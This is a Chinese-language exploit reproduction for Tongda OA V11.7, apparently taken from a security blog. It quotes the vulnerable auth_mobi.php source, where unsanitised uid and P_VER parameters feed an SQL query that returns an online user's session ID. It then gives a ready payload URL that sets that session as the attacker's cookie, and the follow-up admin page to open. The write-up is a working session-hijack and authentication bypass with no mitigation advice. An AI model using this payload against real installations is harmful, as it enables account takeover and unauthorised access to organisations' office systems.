通达OA V11.7获取在线用户Session

复现漏洞版本:通达OA V11.7

下载地址:TDOA11.7.exe

漏洞文件:webroot/mobile/auth_mobi.php

通达OA在登录时会将用户的sessid, uid, client等信息存入数据库, 而在该文件中可传输指定uid参数和p_ver参数。当条件满足即可拼接SQL语句查询。当查询结果的SID不为空时会返回设置cookie为已登陆用户的session id

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php

function relogin()
{
echo _('RELOGIN');
exit;
}
ob_start();
include_once 'inc/session.php';
include_once 'inc/conn.php';
include_once 'inc/utility.php';
if ($isAvatar == '1' && $uid != '' && $P_VER != '') {
$sql = 'SELECT SID FROM user_online WHERE UID = \'' . $uid . '\' and CLIENT = \'' . $P_VER . '\'';
$cursor = exequery(TD::conn(), $sql);
if ($row = mysql_fetch_array($cursor)) {
$P = $row['SID'];
}
}
if ($P == '') {
$P = $_COOKIE['PHPSESSID'];
if ($P == '') {
relogin();
exit;
}
}
if (preg_match('/[^a-z0-9;]+/i', $P)) {
echo _('·Ç·¨²ÎÊý');
exit;
}
if (strpos($P, ';') !== false) {
$MY_ARRAY = explode(';', $P);
$P = trim($MY_ARRAY[1]);
}
session_id($P);
session_start();
session_write_close();
if ($_SESSION['LOGIN_USER_ID'] == '' || $_SESSION['LOGIN_UID'] == '') {
relogin();
}

Payload:

1
http://host/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0

设置cookie后直接访问后台主页即可:

http://host/general/index.php

image-20210303134218182